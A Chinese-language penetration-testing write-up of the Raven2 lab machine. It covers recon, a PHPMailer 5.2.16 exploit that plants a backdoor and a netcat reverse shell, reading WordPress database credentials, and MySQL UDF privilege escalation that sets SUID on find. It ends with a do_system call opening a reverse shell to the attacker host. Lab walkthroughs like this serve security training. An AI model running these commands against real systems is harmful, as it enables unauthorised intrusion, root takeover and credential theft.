【Raven2靶场渗透】

文章目录

一、IP获取

二、信息收集

三、Flag1

四、漏洞利用

五、Flag2

六、Flag3

[七、MSF UDF提权](#七、MSF UDF提权)

八、CVE漏洞本地提权


一、IP获取

Kali IP:192.168.78.128

靶机IP:192.168.78.178

二、信息收集

端口和服务探测:

复制代码
nmap  -sV -p-  192.168.78.178

开放了四个端口22 80 111 44469

目录与文件探测:

复制代码
dirsearch -u http://192.168.78.178

探测到了一些文件与目录,尝试访问一下

复制代码
http://192.168.78.178/vendor/

三、Flag1

在/vendor目录下找到了一个flag

复制代码
http://192.168.78.178/vendor/PATH

发现一个登录页面

复制代码
http://192.168.78.178/wordpress/wp-login.php

读/vendor/目录下的readme文件可以看到有效信息:PHPMailer,继续查看version文件可以看到版本5.2.16

总结得到PHPMailer 5.2.16, 我们直接去搜索对应的exp

四、漏洞利用

复制代码
searchsploit 40974
复制代码
locate php/webapps/40974.py 
复制代码
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root
需要针对PHPMailer修改参数:
41行:改下地址:http://192.168.78.178/contact.php
42行:后门名称:/hp.php
44行:改下回弹的IP和端口  192.168.78.128  6666
47行:改下写入shell的目录:/var/www/html/hp.php

执行exp

复制代码
python3 40974.py
复制代码
访问http://192.168.78.178/contact.php,此时就会生成后门文件hp.php
本地开启监听:nc -vlnp 6666
访问:http://192.168.78.178/hp.php
获得反弹shell!
python -c 'import pty;pty.spawn("/bin/bash")'

找寻flag

复制代码
find / -name flag* 2>/dev/null
复制代码
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/var/www/flag2.txt

五、Flag2

发现两个flag!读取:

复制代码
cat /var/www/flag2.txt
flag2{6a8ed560f0b5358ecf844108048eb337}

六、Flag3

访问:

复制代码
http://192.168.78.178/wordpress/wp-content/uploads/2018/11/flag3.png

获得flag3!

在flag3目录下看到了wordpress目录,进入目录可查看配置文件wp-config.php

复制代码
获取到了数据库信息
User:root
Password:R@v3nSecurity
ps aux | grep root --查看数据库进程信息
dpkg -l | grep mysql --查看历史安装包版本

历史版本5.5.6,并且是root权限启动的,此时可以考虑是否能用mysql udf提权方法

复制代码
连接数据库
mysql -uroot -pR@v3nSecurity
select version();  ---查看版本
show databases;
use wordpress   --进入wordpress数据库
show tables;
select * from wp_users;  --查看用户信息
看到两个用户和加密的密码
michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven:$P$B6X3H3ykawf2oHuPsbjQiih5iJXqad.

查看是否有写入权限

复制代码
show global variables like 'secure%';

七、MSF UDF提权

复制代码
注:mysql udf提权说明
MSF UDF提权的前提条件:
1、获取mysql控制权限:知道mysql用户名和密码,并且可以远程登录
2、Mysql具有写入权限:secure_file_prive的值为空

1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
查看插件目录:
show variables like '%plugin%';

我们找到了插件文件夹的位置是/usr/lib/mysql/plugin/

另外一个条件是要能远程登陆,我们用这个命令来看一下是否可以

复制代码
use mysql; 
select user,host from user;

发现这里root用户不允许远程登陆,因此不能利用MSF提权。

八、CVE漏洞本地提权

复制代码
searchsploit udf
复制代码
locate linux/local/1518.c 
cp /usr/share/exploitdb/exploits/linux/local/1518.c /root
编译
gcc -g -c 1518.c   ---GCC编译.o文件
gcc -g -shared -o hp.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
本机开启htt服务,靶机下载编译后的文件
python3 -m http.server 8000
wget http://192.168.78.128:8000/hp.so

进入mysql数据库创建数据表并插入数据

复制代码
mysql -uroot -pR@v3nSecurity
show databases;
use mysql
select database();
进入数据库创建数据表dayu:create table hp(line blob);
插入数据文件:insert into hp values(load_file('/tmp/hp.so'));

hp表成功插入二进制数据,然后利用dumpfile函数把文件导出

outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!

新建存储函数:

复制代码
select * from hp into dumpfile '/usr/lib/mysql/plugin/hp.so';

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:

复制代码
create function do_system returns integer soname 'hp.so';

查看以下创建的函数:

复制代码
select * from mysql.func;

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:

复制代码
select do_system('chmod u+s /usr/bin/find');

即创造提权条件,suid位提权,执行find命令,使用find执行 shell

复制代码
find dayu -exec "id" \;
cd /root
cat flag4.txt
flag4{df2bc5e951d91581467bb9a2a8ff4425}

或者也可以直接利用函数反弹shell

复制代码
select do_system('nc -nv 192.168.78.128 6667 -e /bin/bash');

完成!


相关推荐
虹科网络安全6 小时前
Redis 安全公告:CVE-2026-81934 TLS 处理漏洞及修复建议
网络·人工智能·网络安全
2501_9160088912 小时前
全平台抓包工具,Windows、iPhone、Linux三个平台抓包测试
网络协议·计算机网络·网络安全·ios·adb·https·udp
Dachui_112213 小时前
ZeroNews LFS 使用教程:NAS 文件发布为公网 HTTPS 文件空间,不传网盘、按人授权、免登录分享
运维·网络安全·文件共享·团队协作·nas
杭州默安科技15 小时前
从海量告警到精准修复:安全智能体如何打通开发安全工具链
网络安全·ai智能体
m0_7156744315 小时前
2026年中国API安全产品综合排名:选型指南与行业趋势解析
网络·安全·网络安全
天若有情67319 小时前
开源SQL注入可视化演示项目|GitHub Pages+Netlify双平台免费部署教程
网络安全·代码审计·githubpages·sql 注入·web 安全·前端演示·netlify 部署
三84419 小时前
云安全 · 02 · 容器与 Docker 安全基础
web安全·docker·云安全
数据知道19 小时前
LDAP 与 AD 安全深度剖析——注入、弱绑定、权限配置错误
网络安全·密码学·哈希算法
躺柒19 小时前
读数据可视化34其他科学与艺术
网络安全·信息可视化·气象学·可视化·数据可视化·气候模型
数据知道1 天前
加密流量分析——JA3 指纹、TLS 指纹识别与规避
网络·安全·网络安全·密码学